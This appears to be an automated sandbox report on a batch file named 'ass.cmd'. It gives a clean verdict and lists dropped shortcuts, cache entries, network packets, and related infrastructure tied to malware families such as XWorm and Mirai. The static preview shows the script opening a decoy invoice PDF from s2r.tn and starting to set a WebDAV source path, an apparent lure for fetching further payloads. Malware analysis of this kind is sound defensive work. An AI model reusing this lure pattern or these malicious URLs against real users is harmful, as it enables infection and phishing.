Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ass.cmd
Detection:	CLEAN
Classification:	clean2.winCMD@19/10@11/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .cmd

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.163, 216.58.206.78, 64.233.166.84, 34.104.35.123, 217.20.57.18, 192.229.221.95, 199.232.214.172, 142.250.185.99, 142.250.186.142
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, clients.l.google.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: ass.cmd

Simulations

Behavior and APIs

⊘No simulations

LLM Input / Output

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
70.38.21.234	filePY.cmd	Get hash	malicious	Unknown	Browse
	file py p.bat	Get hash	malicious	Unknown	Browse
	file py portable.bat	Get hash	malicious	Unknown	Browse
	fileEEE.bat	Get hash	malicious	Unknown	Browse
	https://greenwoodpark.com.au/hvilkes-receipt.zip	Get hash	malicious	Unknown	Browse
	https://opodo.onelink.me/RnQA?pid=CRM&af_adset=email&af_ad=crm_nl_PDA_SneakPeek_NP_X_290124__&is_retargeting=true&af_dp=op-app%3A%2F%2Flaunch%2F%3futm_content%3dUL_hero%26utm_source%3dsf%26utm_medium%3dcrm%26utm_campaign%3dnl%26utm_term%3dXX-XX-CRM-E-NL-PDA-FL-X-NP_PrimeDay8_NonPrime_SneakPeekAPP_290124_Render_435150%26mktportal%3dNL&af_web_dp=https://tunisianrentcar.tn/jo0eue/9761/new/new/dvader@hinckleyallen.com##	Get hash	malicious	Unknown	Browse
	upload.vbs	Get hash	malicious	VenomRAT	Browse
	update.vbs	Get hash	malicious	XWorm	Browse
	windows.vbs	Get hash	malicious	XWorm	Browse
	file.bat	Get hash	malicious	Unknown	Browse
239.255.255.250	https://www.google.co.uk/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/taxigiarebienhoa.vn/nini/ybmex/captcha/Z3VsYW1yYXN1bC5jaGVwdXdhbGFAY2V2YWxvZ2lzdGljcy5jb20	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	8m9f0jVE2G.exe	Get hash	malicious	Unknown	Browse
	gI1wz7QtZV.lnk	Get hash	malicious	LonePage	Browse
	846754Ea6k.lnk	Get hash	malicious	LonePage	Browse
	35ZnVKToSL.lnk	Get hash	malicious	LonePage	Browse
	8m9f0jVE2G.exe	Get hash	malicious	Unknown	Browse
	T52Z708x2p.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	lJ4EzPSKMj.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	Us051y7j25.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	thcdVit1dX.exe	Get hash	malicious	Phorpiex	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s2r.tn	filePY.cmd	Get hash	malicious	Unknown	Browse	70.38.21.234
	file py p.bat	Get hash	malicious	Unknown	Browse	70.38.21.234
	file py portable.bat	Get hash	malicious	Unknown	Browse	70.38.21.234
	fileEEE.bat	Get hash	malicious	Unknown	Browse	70.38.21.234
	https://greenwoodpark.com.au/hvilkes-receipt.zip	Get hash	malicious	Unknown	Browse	70.38.21.234
	upload.vbs	Get hash	malicious	VenomRAT	Browse	70.38.21.234
	update.vbs	Get hash	malicious	XWorm	Browse	70.38.21.234
	windows.vbs	Get hash	malicious	XWorm	Browse	70.38.21.234
	file.bat	Get hash	malicious	Unknown	Browse	70.38.21.234
	file.vbs	Get hash	malicious	Unknown	Browse	70.38.21.234

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
IWEB-ASCA	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	70.38.12.0
	jade.m68k.elf	Get hash	malicious	Mirai	Browse	174.142.183.96
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	174.142.183.74
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	72.55.171.43
	spc.elf	Get hash	malicious	Mirai	Browse	174.142.183.27
	arm5.elf	Get hash	malicious	Mirai	Browse	174.142.183.45
	powerpc.elf	Get hash	malicious	Mirai	Browse	174.142.183.47
	i586.elf	Get hash	malicious	Mirai	Browse	174.142.183.84
	MOfHb44mph.elf	Get hash	malicious	Unknown	Browse	174.141.236.100
	QvTbUiFWlo.elf	Get hash	malicious	Mirai	Browse	107.161.65.92

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://www.google.co.uk/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/taxigiarebienhoa.vn/nini/ybmex/captcha/Z3VsYW1yYXN1bC5jaGVwdXdhbGFAY2V2YWxvZ2lzdGljcy5jb20	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	8m9f0jVE2G.exe	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	gI1wz7QtZV.lnk	Get hash	malicious	LonePage	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	846754Ea6k.lnk	Get hash	malicious	LonePage	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	35ZnVKToSL.lnk	Get hash	malicious	LonePage	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	8m9f0jVE2G.exe	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	http://fleurifleuri.com/	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	http://mychronictravel.eu.org/	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	https://docs.google.com/drawings/d/1igp9x84Q_2r8qSa1YDSk9dpVvjHGWjRjQMSbSGGfj2M/preview?pli=1VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	https://louisianalaw.us/awI1AlsoTxn2APQ3EspQ3E4RAI1AoTxnz01coTxm&c=E,1,vvMSQz5CSzvUF_pnZgRSmb_4_6IhFVsFaIdJFKN2k78xDXcVLKO_NH-275AIvCQYfKD3jL3qc4bCIgEC2N6Rr4xli-ez6GBrwxbUrVz5hy4g&typo=1	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Oct 26 10:44:44 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9873132784942418
Encrypted:	false
SSDEEP:	48:8uXXdqTWaqHiidAKZdA19ehwiZUklqehly+3:8S4DLqy
MD5:	E35CDA1597CCDD461C9B4120E9C4BB7C
SHA1:	0EAD75E1E68D1E5DC025CCEDC311F1DC17C2D1EC
SHA-256:	65A74058B33550FAD63C8510D2AB51959377DC6E31C42BD9B260B2692A44D6D8
SHA-512:	9D14DE97320FAC78F0B2D03CF507173EDD7491B8032A6658B9C5FA9A87AF0BC8BA716064ED1F6D18C0D1F1211071608D887ED0DB38E47BB07188B24FB04A56D8
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....7..s.'..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IZY.]....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZY.]....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZY.]....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZY.]..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZY.]...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Oct 26 10:44:44 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.00412624289041
Encrypted:	false
SSDEEP:	48:8iXdqTWaqHiidAKZdA1weh/iZUkAQkqehay+2:8i4D59Qny
MD5:	E620B67186B1262C3DC2DF41C7B17B1E
SHA1:	557D340D527357E8E5D3561061E54BBD599A7D8A
SHA-256:	A812D15F4394DD37CA73E14517C102BD60697009A768A348036B2E1CFFAF42BA
SHA-512:	870FFF9CD5779D6BE50E928788D09CB55B643B324AEE479939229344227750DB042A0DF2B55AF28E72D4DEF89FF5DD0D1906A906E1FC6138DCFBE5A8C97B68B0
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....T.s.'..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IZY.]....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZY.]....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZY.]....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZY.]..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZY.]...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.013731057934256
Encrypted:	false
SSDEEP:	48:8xDdqTWasHiidAKZdA14tseh7sFiZUkmgqeh7sMy+BX:8xkD3nmy
MD5:	9DC5EEA4199341164CA7AFA79A06FA35
SHA1:	B1339F4778120EDCE5CC0AB9698453358A00D459
SHA-256:	A70668E8DB3E6365D65F1485EC66B6F4BCD8528456ABA29A0705B82859198C85
SHA-512:	1DC6A799F4201CBAA42938165E856187D3B01EE26BD6BC00C330BE3F2D45F3E3850EEF6F1CCEEBA500BAFFF71B4374C2B9FD651BCF2CEA880EF31C3F8AA6BB37
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IZY.]....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZY.]....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZY.]....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZY.]..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Oct 26 10:44:44 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.000622588940427
Encrypted:	false
SSDEEP:	48:86XdqTWaqHiidAKZdA1vehDiZUkwqehey+R:864Daky
MD5:	73704CAB3BD6D1DF01B6E651115CEC08
SHA1:	B226CED8EFF42F415D6A75AB5DD2F737826719F9
SHA-256:	61C4E331EE9D65D68D5D0AB8BBE75AD0C1AB448659152F52AFEF2B624B6AB197
SHA-512:	57805EFDE49613305ADDAFF115B41F299FC91ABF524116C487E82FABF3A610DA8245DBB29C00EA8BB4ADF6185EDACF06EAB4A809C9967E6D169E982B158E7EAD
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....@bs.'..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IZY.]....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZY.]....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZY.]....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZY.]..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZY.]...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Oct 26 10:44:44 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.991371190356649
Encrypted:	false
SSDEEP:	48:8CXdqTWaqHiidAKZdA1hehBiZUk1W1qehoy+C:8C4Da9Iy
MD5:	E3870D5B67E6F49E38CCE63377004130
SHA1:	DED4B4D888D22B169120972B3599F34529746101
SHA-256:	0F1867B64E364A835D5D11E74B4D18BA763A64E466B9D648DA3B1318A0786210
SHA-512:	F8CB921DCEF7C6E4717A886E8585F1AF7CE78BDE9D5B12A175EE0D046ED0AE529CFF35DA680752CFAC38E6603137B8DECB749C48137951F270F9413F24F47BF0
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......s.'..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IZY.]....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZY.]....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZY.]....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZY.]..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZY.]...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Oct 26 10:44:44 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.997850043949293
Encrypted:	false
SSDEEP:	48:82+XdqTWaqHiidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbmy+yT+:8R4DkT/TbxWOvTbmy7T
MD5:	AFA5C2BD0F8BD4167068D585B166330A
SHA1:	D78A8B187E19D2C1E71189ACFD37EE3E479D2274
SHA-256:	78360E3C2D0534AA6717BAFFC35FBD1C17F25E81E7617147EE031596B8B04FFC
SHA-512:	F30B21493AD1A89FCB9B87CEDF11A474B0B5252488E572D2165EA79B2F7E6FC102C0695CA524CF5F1D7CCF5FB2CFBA9847FF65DB0673D8E67FB23E225F94257A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....RARs.'..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IZY.]....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZY.]....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZY.]....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZY.]..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZY.]...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 60

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	315
Entropy (8bit):	5.0572271090563765
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezoFEHcLgabzjsKtgsg93wzRbKqD:J0+oxBeRmR9etdzRxGezZfCzjsKtgizR
MD5:	A34AC19F4AFAE63ADC5D2F7BC970C07F
SHA1:	A82190FC530C265AA40A045C21770D967F4767B8
SHA-256:	D5A89E26BEAE0BC03AD18A0B0D1D3D75F87C32047879D25DA11970CB5C4662A3
SHA-512:	42E53D96E5961E95B7A984D9C9778A1D3BD8EE0C87B8B3B515FA31F67C2D073C8565AFC2F4B962C43668C4EFA1E478DA9BB0ECFFA79479C7E880731BC4C55765
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://s2r.tn/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<p>Additionally, a 404 Not Found.error was encountered while trying to use an ErrorDocument to handle the request.</p>.</body></html>.

Chrome Cache Entry: 61

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	315
Entropy (8bit):	5.0572271090563765
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezoFEHcLgabzjsKtgsg93wzRbKqD:J0+oxBeRmR9etdzRxGezZfCzjsKtgizR
MD5:	A34AC19F4AFAE63ADC5D2F7BC970C07F
SHA1:	A82190FC530C265AA40A045C21770D967F4767B8
SHA-256:	D5A89E26BEAE0BC03AD18A0B0D1D3D75F87C32047879D25DA11970CB5C4662A3
SHA-512:	42E53D96E5961E95B7A984D9C9778A1D3BD8EE0C87B8B3B515FA31F67C2D073C8565AFC2F4B962C43668C4EFA1E478DA9BB0ECFFA79479C7E880731BC4C55765
Malicious:	false
URL:	https://s2r.tn/cgi/INVOICERVSHA.pdf
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<p>Additionally, a 404 Not Found.error was encountered while trying to use an ErrorDocument to handle the request.</p>.</body></html>.

Static File Info

General

File type:	DOS batch file, ASCII text, with CRLF line terminators
Entropy (8bit):	5.204871194364017
TrID:
File name:	ass.cmd
File size:	2'135 bytes
MD5:	25b8c6047b4ade5de627c34e01057d61
SHA1:	a90b86bd9933349484e40a19500e700abc5e5e75
SHA256:	1674fb99e589704d0ac50bd2899e3f10a3f623a85266c66599ab0288699b6b63
SHA512:	1a1ddcef0fda9d32ad85d891603985a5b5eac8f34da0a588e0f20e44ac3be22d5816da86e00af55519b6d692b8d57c052c82b694a4e269e3240232b0f395cca5
SSDEEP:	48:NrbiwN8fPf2pQES8o91E1J+D3PRE10EE6Y51n4nTjko3PRb4wEi4R7h:NbefPf5ESTLE1QTRE17E6C4n/kERUnzn
TLSH:	4C41E0973C47953C88B0E6197B38C496F853300F9380795AB0F684684AF5AE81DF89CB
File Content Preview:	@echo off..setlocal....REM Open PDF file (adjust URL as needed)..echo Opening PDF file.....start "" "https://s2r.tn/cgi/INVOICERVSHA.pdf"..timeout /t 5 >nul REM Wait for PDF to open (adjust timeout as needed)....REM Set WebDAV source path..set webdavSour

File Icon


Icon Hash:	9686878b929a9886

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 13:44:36.990346909 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 26, 2024 13:44:36.990348101 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 26, 2024 13:44:37.099726915 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 26, 2024 13:44:46.604264021 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 26, 2024 13:44:46.604265928 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 26, 2024 13:44:46.612338066 CEST	49711	443	192.168.2.5	142.250.185.228
Oct 26, 2024 13:44:46.612379074 CEST	443	49711	142.250.185.228	192.168.2.5
